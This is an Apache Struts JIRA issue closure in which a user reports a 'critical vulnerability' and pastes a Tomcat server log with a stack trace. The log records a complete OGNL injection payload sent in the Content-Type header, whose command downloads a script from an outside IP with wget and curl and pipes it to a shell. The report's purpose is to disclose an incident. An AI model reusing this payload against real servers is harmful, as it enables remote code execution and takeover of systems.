[ 
https://issues.apache.org/jira/browse/WW-4933?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
 ]

Lukasz Lenart closed WW-4933.
-----------------------------
    Resolution: Fixed

> Critical Apache Struts 2.3.28 Vulnerability
> -------------------------------------------
>
>                 Key: WW-4933
>                 URL: https://issues.apache.org/jira/browse/WW-4933
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.3.28
>            Reporter: Vinay Kr Sharma
>            Priority: Major
>             Fix For: 2.3.32
>
>
> I have a version of Struts 2.3.28
>  my log:
> {noformat}
> 2018-37-11 05:37:01 [http-nio-12004-exec-8] WARN JakartaMultiPartRequest:68- 
> Unable to parse request
>  org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: 
> the request doesn't contain a multipart/form-data or multipart/mixed stream, 
> content type header is 
> %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget
>  -O - -q [http://140.82.33.181/java/oracle.jpg]|sh; sleep 30s; curl 
> [http://140.82.33.181/java/oracle.jpg]|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
> {'cmd.exe','/c',#cmd}
> :\{'/bin/bash','-c',#cmd})).(#p=new 
> java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
>  at 
> org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947)
>  ~[commons-fileupload-1.3.1.jar:1.3.1]
>  at 
> org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310)
>  ~[commons-fileupload-1.3.1.jar:1.3.1]
>  at 
> org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334)
>  ~[commons-fileupload-1.3.1.jar:1.3.1]
>  at 
> org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188)
>  ~[struts2-core-2.3.28.jar:2.3.28]
>  at 
> org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
>  ~[struts2-core-2.3.28.jar:2.3.28]
>  at 
> org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
>  [struts2-core-2.3.28.jar:2.3.28]
>  at 
> org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84)
>  [struts2-core-2.3.28.jar:2.3.28]
>  at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:841) 
> [struts2-core-2.3.28.jar:2.3.28]
>  at 
> org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:138)
>  [struts2-core-2.3.28.jar:2.3.28]
>  at 
> org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)
>  [struts2-core-2.3.28.jar:2.3.28]
>  at 
> org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
>  [catalina.jar:8.5.11]
>  at 
> org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
>  [catalina.jar:8.5.11]
>  at 
> org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
>  [catalina.jar:8.5.11]
>  at 
> org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
>  [catalina.jar:8.5.11]
>  at 
> org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:474)
>  [catalina.jar:8.5.11]
>  at 
> org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) 
> [catalina.jar:8.5.11]
>  at 
> org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79) 
> [catalina.jar:8.5.11]
>  at 
> org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
>  [catalina.jar:8.5.11]
>  at 
> org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:349) 
> [catalina.jar:8.5.11]
>  at 
> org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:783) 
> [tomcat-coyote.jar:8.5.11]
>  at 
> org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
>  [tomcat-coyote.jar:8.5.11]
>  at 
> org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:798)
>  [tomcat-coyote.jar:8.5.11]
>  at 
> org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1434)
>  [tomcat-coyote.jar:8.5.11]
>  at 
> org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
>  [tomcat-coyote.jar:8.5.11]
>  at 
> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
>  [?:1.8.0_112]
>  at 
> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
>  [?:1.8.0_112]
>  at 
> org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
>  [tomcat-util.jar:8.5.11]
>  at java.lang.Thread.run(Thread.java:745) [?:1.8.0_112]
> {noformat}



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